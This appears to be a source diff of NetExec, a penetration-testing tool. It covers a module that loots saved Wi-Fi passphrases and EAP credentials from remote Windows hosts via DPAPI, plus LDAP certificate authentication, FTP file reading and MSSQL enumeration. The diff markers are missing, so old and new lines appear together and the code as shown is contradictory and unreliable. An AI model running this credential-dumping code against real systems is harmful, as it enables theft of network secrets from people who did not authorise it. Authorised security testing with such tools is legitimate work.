description = "Get key of all wireless interfaces"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
context.log.success("Looting Wifi interfaces")
try:
# Collect Chrome Based Browser stored secrets
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
wifi_creds = wifi_triage.triage_wifi()
except Exception as e:
context.log.debug(f"Error while looting wifi: {e}")
@@ -57,16 +32,16 @@ class NXCModule:
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
try:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
except Exception:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
try:
if self.eap_username is not None and self.eap_password is not None:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
else:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
except Exception:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
else:
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
+5 -1
View File
@@ -104,6 +104,10 @@ def main():
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
exit(1)
if args.protocol == "ldap" and args.schannel and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
nxc_logger.error("KRB5CCNAME environment variable is not set")
exit(1)
@@ -197,7 +201,7 @@ def main():
proto_module_paths.append(modules[m]["path"])
protocol_object.module_paths = proto_module_paths
if args.protocol == "rdp" and args.execute:
if args.protocol == "rdp" and (args.execute or args.ps_execute):
ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
+14 -29
View File
@@ -40,6 +40,17 @@ def write_csv(filename, headers, entries):
csv_file.writerow(entry)
def host_csv_headers(hosts_table, mode="simple"):
"""Return the CSV header for a hosts export, taken from the protocol's own HostsTable.
"simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all.
"""
columns = tuple(col.name for col in hosts_table.columns)
if mode == "detailed":
return columns
return columns[:8]
def write_list(filename, entries):
"""Writes a file with a simple list"""
with open(os.path.expanduser(filename), "w") as export_file:
@@ -169,39 +180,13 @@ class DatabaseNavigator(cmd.Cmd):
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
return
csv_header_simple = (
"id",
"ip",
"hostname",
"domain",
"os",
"dc",
"smbv1",
"signing",
)
csv_header_detailed = (
"id",
"ip",
"hostname",
"domain",
"os",
"dc",
"smbv1",
"signing",
"spooler",
"zerologon",
"petitpotam",
)
filename = line[2]
if line[1].lower() == "simple":
hosts = self.db.get_hosts()
simple_hosts = [host[:8] for host in hosts]
write_csv(filename, csv_header_simple, simple_hosts)
# TODO: maybe add more detail like who is an admin on it, shares discovered, etc
csv_header = host_csv_headers(self.db.HostsTable, "simple")
write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()])
elif line[1].lower() == "detailed":
hosts = self.db.get_hosts()
write_csv(filename, csv_header_detailed, hosts)
write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts())
elif line[1].lower() == "signing":
hosts = self.db.get_hosts("signing")
signing_hosts = [host[1] for host in hosts]
+38 -10
View File
@@ -1,15 +1,16 @@
from io import BytesIO
import os
from nxc.config import process_secret
from nxc.connection import connection
from nxc.helpers.logger import highlight
from nxc.logger import NXCAdapter
from ftplib import FTP, error_perm
from ftplib import FTP, error_perm, error_temp
class ftp(connection):
def __init__(self, args, db, host):
self.protocol = "FTP"
self.remote_version = None
self.welcome_banner = ""
super().__init__(args, db, host)
@@ -26,11 +27,12 @@ class ftp(connection):
def enum_host_info(self):
welcome = self.conn.getwelcome()
self.logger.debug(f"Welcome result: {welcome}")
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.remote_version}")
for line in welcome.splitlines():
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
self.logger.debug(f"Remote version: {self.welcome_banner}")
def print_host_info(self):
self.logger.display(f"Banner: {self.remote_version}")
self.logger.display(f"Banner: {self.welcome_banner}")
def create_conn_obj(self):
self.conn = FTP()
@@ -50,13 +52,12 @@ class ftp(connection):
self.logger.debug(f"Response: {resp}")
except Exception as e:
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
self.conn.close()
return False
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
if "230" in resp:
self.logger.debug(f"Host: {self.host} Port: {self.port}")
self.db.add_host(self.host, self.port, self.remote_version)
self.db.add_host(self.host, self.port, self.welcome_banner)
cred_id = self.db.add_credential(username, password)
@@ -101,8 +102,9 @@ class ftp(connection):
self.put_file(self.args.put[0], self.args.put[1])
if not self.args.continue_on_success:
self.conn.close()
return True
def disconnect(self):
self.conn.close()
def list_directory_full(self):
@@ -115,6 +117,10 @@ class ftp(connection):
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
self.conn.close()
return False
except error_temp as e:
self.logger.fail(e)
self.conn.close()
return False
return files
def get_file(self, filename):
@@ -125,8 +131,6 @@ class ftp(connection):
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Check if the file exists
self.conn.size(filename)
# Attempt to download the file
with open(downloaded_file, "wb") as f:
self.conn.retrbinary(f"RETR {filename}", f.write)
@@ -161,6 +165,30 @@ class ftp(connection):
else:
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
def cat(self):
# Extract the filename from the path
remote_file = self.args.cat
try:
# Check if the current connection is ASCII (ASCII does not support .size())
if self.conn.encoding == "utf-8":
# Switch the connection to binary
self.conn.sendcmd("TYPE I")
# Attempt to get the file content
buf = BytesIO()
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
except error_perm as error_message:
self.logger.fail(f"Failed to get file content. Response: ({error_message})")
return False
except FileNotFoundError:
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
return False
try:
for line in buf.getvalue().decode().splitlines():
self.logger.highlight(line)
except UnicodeDecodeError as e:
self.logger.fail(f"File is not in UTF-8: {e}")
def supported_commands(self):
raw_supported_commands = self.conn.sendcmd("HELP")
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
+1
View File
@@ -7,6 +7,7 @@ def proto_args(parser, parents):
cgroup = ftp_parser.add_argument_group("File Operations")
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
return parser
+89 -48
View File
@@ -41,7 +41,8 @@ from impacket.ntlm import getNTLMSSPType1
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
from nxc.helpers.pfx import certificate_options
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns
from nxc.logger import NXCAdapter
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
@@ -65,6 +66,9 @@ ldap_error_status = {
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
}
# LDAP authenticationChoice sent to the DC, as displayed to the operator
auth_methods = {"sasl": "NTLM", "simple": "SIMPLE bind", "external": "Schannel"}
class ldap(connection):
def __init__(self, args, db, host):
@@ -133,25 +137,20 @@ class ldap(connection):
return True
def get_ldap_username(self):
extended_request = ldapasn1_impacket.ExtendedRequest()
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
response = self.ldap_connection.sendReceive(extended_request)
for message in response:
search_result = message["protocolOp"].getComponent()
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
response_value = search_result["responseValue"]
if response_value.hasValue():
value = response_value.asOctets().decode(response_value.encoding)[2:]
return value.split("\\")[1]
return ""
try:
# impacket returns the raw RFC 4532 identity, "u:DOMAIN\user" on a DC
return self.ldap_connection.whoami().split("\\")[-1]
except ldap_impacket.LDAPSessionError as e:
self.logger.debug(f"LDAP whoami request failed: {e}")
return ""
def check_ldap_signing(self):
self.signing_required = False
self.signing_required = None
ldap_url = f"ldap://{self.target}"
try:
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
ldap_connection.login(domain=self.domain)
self.signing_required = False
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
except ldap_impacket.LDAPSessionError as e:
if str(e).find("strongerAuthRequired") >= 0:
@@ -159,6 +158,8 @@ class ldap(connection):
self.signing_required = True
else:
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
except OSError as e:
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
def check_ldaps_cbt(self):
self.cbt_status = "Never"
@@ -185,6 +186,7 @@ class ldap(connection):
self.cbt_status = "When Supported" # CBT is When Supported
else:
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
self.cbt_status = "Unknown"
except SysCallError as e:
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
@@ -222,13 +224,13 @@ class ldap(connection):
except Exception as e:
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
self.target = target
self.targetDomain = target_domain
self.target = sanitize_dns(target or self.host, self.logger)
self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger)
self.baseDN = base_dn
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
# Parse hostname and remoteName
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
self.remoteName = self.target
# Parse NTLM challenge
@@ -283,7 +285,12 @@ class ldap(connection):
def print_host_info(self):
self.logger.debug("Printing host info for LDAP")
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
if self.signing_required is True:
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
elif self.signing_required is False:
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
else:
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
@@ -334,7 +341,7 @@ class ldap(connection):
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using Kerberos")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
@@ -393,7 +400,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using Kerberos")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
if self.username == "":
@@ -451,21 +458,42 @@ class ldap(connection):
hash_asreproast.write(f"{hash_tgt}\n")
return False
cert_options = {}
cert_tmp_file = None
if self.args.schannel:
try:
cert_options, cert_tmp_file = certificate_options(self.args)
except (OSError, ValueError) as e:
self.logger.fail(f"Failed to load the certificate material: {e}")
return False
try:
# Connect to LDAP
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldap_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
authentication_choice = "external" if self.args.schannel else self.auth_choice
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using {auth_methods[authentication_choice]}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout, **cert_options)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=authentication_choice)
# Prepare success credential text
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
if self.args.schannel:
# The certificate is mapped to an account server-side, so whoami is the only way to know who we are
netbios_domain, _, self.username = self.ldap_connection.whoami().removeprefix("u:").partition("\\")
# The mapped account can belong to another domain of the forest, and whoami only returns its NetBIOS domain name
cross_ref = parse_result_attributes(self.search(f"(&(objectClass=crossRef)(nETBIOSName={netbios_domain}))", ["dnsRoot"], baseDN=f"CN=Partitions,{self.configuration_context}"))
self.domain = cross_ref[0]["dnsRoot"] if cross_ref else netbios_domain
self.check_if_admin()
# A certificate bind has no secret to store, the account comes from the certificate mapping
if not self.args.schannel:
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
used_certificate = " from certificate" if self.args.schannel else f":{process_secret(self.password)}"
self.logger.success(f"{self.domain}\\{self.username}{used_certificate} {self.mark_pwned()}")
if self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
@@ -473,6 +501,13 @@ class ldap(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except ldap_impacket.LDAPSessionError as e:
if self.args.schannel:
# The error mapping below reads NTLM status codes, which a certificate bind never returns
if "did not receive any credentials via TLS" in str(e) or "connection is anonymous" in str(e):
self.logger.fail("Schannel authentication failed: the DC did not map the certificate to an account")
else:
self.logger.fail(f"Schannel authentication failed: {e}")
return False
if str(e).find("strongerAuthRequired") >= 0:
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
if self.args.simple_bind:
@@ -486,7 +521,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using {auth_methods[self.auth_choice]}")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
self.check_if_admin()
@@ -517,6 +552,9 @@ class ldap(connection):
except OSError as e:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
return False
finally:
if cert_tmp_file and os.path.exists(cert_tmp_file):
os.remove(cert_tmp_file)
def hash_login(self, domain, username, ntlm_hash):
self.logger.extra["protocol"] = "LDAP"
@@ -553,7 +591,7 @@ class ldap(connection):
self.logger.extra["port"] = "636" if self.port == 636 else "389"
proto = "ldaps" if self.port == 636 else "ldap"
ldaps_url = f"{proto}://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -579,7 +617,7 @@ class ldap(connection):
self.logger.extra["port"] = "636"
self.port = 636
ldaps_url = f"ldaps://{self.target}"
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
@@ -622,7 +660,7 @@ class ldap(connection):
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
resp_parsed = parse_result_attributes(resp)
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache or self.args.schannel) and self.username != "":
for item in resp_parsed:
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
@@ -931,8 +969,7 @@ class ldap(connection):
resp_parse = parse_result_attributes(resp)
for item in resp_parse:
if "dNSHostName" in item: # Get dNSHostName attribute
name = item["dNSHostName"]
resolve_and_display_hostname(name)
resolve_and_display_hostname(item["dNSHostName"])
# Find all trusted domains
self.logger.info("Enumerating Trusted Domains...")
@@ -1216,22 +1253,21 @@ class ldap(connection):
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
try:
resp = self.search(search_filter, attributes, 0)
resp_parsed = parse_result_attributes(resp)
except LDAPFilterSyntaxError as e:
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
return
for idx, entry in enumerate(resp_parsed):
if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
idx += 1 # Skip non-entry responses
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
for attribute in entry:
if isinstance(entry[attribute], list) and entry[attribute]:
# A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry.
entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)]
for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True):
self.logger.success(f"Response for object: {entry['objectName']}")
for attribute, value in attribute_map.items():
if isinstance(value, list) and value:
# Display first item in the same line as attribute
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
for item in entry[attribute]:
self.logger.highlight(f"{attribute:<20} {value.pop(0)}")
for item in value:
self.logger.highlight(f"{'':<20} {item}")
else:
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
self.logger.highlight(f"{attribute:<20} {value}")
def find_delegation(self):
def printTable(items, header):
@@ -1723,6 +1759,7 @@ class ldap(connection):
aeskey=self.aesKey,
kdc=self.kdcHost,
auth_method="auto",
ldap_channel_binding=self.cbt_status == "Always"
)
ad = AD(
auth=auth,
@@ -1761,9 +1798,13 @@ class ldap(connection):
exclude_dcs=False,
)
except Exception as e:
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
return
if "ldap3-bleeding-edge" in str(e):
self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge")
return
else:
self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}")
self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True)
return
# Collect ADCS data using CertiHound if requested
if "adcs" in collect:
+1
View File
@@ -10,6 +10,7 @@ def proto_args(parser, parents):
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
ldap_parser.add_argument("--schannel", action="store_true", help="Authenticate with the certificate using Schannel instead of PKINIT")
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
+4
View File
@@ -5,6 +5,7 @@ from OpenSSL.SSL import SysCallError
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import sanitize_dns
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.logger import nxc_logger
@@ -18,6 +19,7 @@ class LDAPResolution:
target = ""
target_domain = ""
base_dn = ""
machine_name = ""
try:
ldap_url = f"ldap://{self.host}"
nxc_logger.info(f"Connecting to {ldap_url} with no baseDN")
@@ -60,5 +62,7 @@ class LDAPResolution:
else:
nxc_logger.error(f"Error getting ldap info {e}")
machine_name = sanitize_dns(machine_name, nxc_logger)
target_domain = sanitize_dns(target_domain, nxc_logger)
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
return machine_name, target_domain
+178 -53
View File
@@ -1,18 +1,22 @@
import os
import random
import contextlib
import binascii
from termcolor import colored
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection
from nxc.connection import requires_admin
from nxc.helpers.misc import gen_random_string
from nxc.helpers.misc import gen_random_string, sanitize_dns
from nxc.logger import NXCAdapter
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.dpapi import DPAPITriage
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from dploot.lib.network.mssql import MSSQLTarget as Target
from impacket import tds, ntlm
from impacket.krb5.ccache import CCache
from impacket.dcerpc.v5.dtypes import SID
@@ -44,6 +48,13 @@ class mssql(connection):
self.lmhash = ""
self.nthash = ""
self.no_ntlm = False
self.encryption = None
self.edition = ""
self.version = ""
self.dpapi_system_key = None
self.no_da = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
@@ -144,8 +155,11 @@ class mssql(connection):
else:
if challenge.startswith(b"NTLMSSP\x00"):
ntlm_info = parse_challenge(challenge)
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
dns_hostname = ntlm_info["dns_hostname"] or ""
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
@@ -306,6 +320,7 @@ class mssql(connection):
self.logger.fail(self.conn.lastError)
else:
for data in raw_output:
self.logger.highlight("--------------------")
for key, value in data.items():
if key:
self.logger.highlight(f"{key}:{value}")
@@ -490,68 +505,65 @@ class mssql(connection):
return "[" + str(ident).replace("]", "]]") + "]"
def list_databases(self):
try:
q = (
"SELECT d.name AS DatabaseName, "
" suser_sname(d.owner_sid) AS Owner "
"FROM sys.databases d "
"ORDER BY d.name;"
)
rows = self.conn.sql_query(q) or []
if not rows:
self.logger.display("No databases returned")
return
query = """
SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner
FROM sys.databases d
ORDER BY d.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not rows:
self.logger.display("No databases returned")
return
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for r in rows:
self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
except Exception as e:
self.logger.fail(f"Failed to enumerate databases: {e}")
self.logger.debug("list_databases error", exc_info=True)
self.logger.display("Enumerated databases")
self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}")
self.logger.highlight(f"{'-' * 30} {'-' * 25}")
for row in rows:
database_name = row.get("DatabaseName", "")
owner = row.get("Owner", "")
self.logger.highlight(f"{database_name:<30} {owner:<25}")
self.logger.highlight(f"Total: {len(rows)} database(s)")
def database(self):
db_arg = self.args.database
# nxc --database (no value) -> list
if db_arg is True or db_arg is None:
if self.args.database is True:
self.list_databases()
return
# nxc --database <name> -> tables
if isinstance(db_arg, str):
try:
safe = db_arg.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if not exists:
self.logger.fail(f"Database [{db_arg}] does not exist on the server.")
return
tq = (
f"SELECT t.name AS TableName, t.modify_date "
f"FROM {self._qname(db_arg)}.sys.tables t "
f"ORDER BY t.name;"
)
rows = self.conn.sql_query(tq) or []
except Exception as e:
self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}")
self.logger.debug("database() error", exc_info=True)
if isinstance(self.args.database, str):
safe = self.args.database.replace("'", "''")
exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';")
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not exists:
self.logger.fail(f"Database [{self.args.database}] does not exist on the server.")
return
query = f"""
SELECT t.name AS TableName, t.modify_date
FROM {self._qname(self.args.database)}.sys.tables t
ORDER BY t.name;
"""
rows = self.conn.sql_query(query)
if self.conn.lastError:
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
if not rows:
self.logger.display(f"Database [{db_arg}] has no user tables.")
self.logger.display(f"Database [{self.args.database}] has no user tables.")
return
self.logger.display(f"Tables in database: {db_arg}")
self.logger.display(f"Tables in database: {self.args.database}")
self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}")
self.logger.highlight(f"{'-' * 50} {'-' * 25}")
for r in rows:
mod = r.get("modify_date", "")
if mod and hasattr(mod, "strftime"):
mod = mod.strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}")
for row in rows:
modify_date = row.get("modify_date", "")
if modify_date and hasattr(modify_date, "strftime"):
modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S")
